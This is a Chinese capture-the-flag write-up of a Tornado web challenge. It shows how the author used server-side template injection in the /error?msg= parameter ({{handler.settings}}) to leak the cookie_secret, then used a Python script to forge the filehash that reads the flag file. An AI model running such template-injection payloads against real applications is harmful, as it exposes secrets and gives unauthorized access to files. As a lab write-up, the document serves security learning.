首先看到题目
分别点开
/flag.txt
/welcome.txt
/hints.txt
发现flag在/fllllllllllllag文件里
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
filehash=md5(cookie_secret+md5(filename))
现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
吧/fllllllllllllag输入到url中,结果出现了
看了大哥们的wp,发现是模块注入
服务端模块注入攻击(SSTI)
然后根据大佬的思路,继续往下,尝试/error?msg={{datetime}}
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={{handler.settings}}
这是其中一个大佬的exp
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def jiami():
filename = '/fllllllllllllag'
cookie_s ="9cb407f6-56a4-47b5-a0dc-e7222f37b2bd"
print(md5value(filename.encode('utf-8')))
x=md5value(filename.encode('utf-8'))
y=cookie_s+x
print(md5value(y.encode('utf-8')))
jiami()
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '9cb407f6-56a4-47b5-a0dc-e7222f37b2bd'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
得到的filehash为
得到flag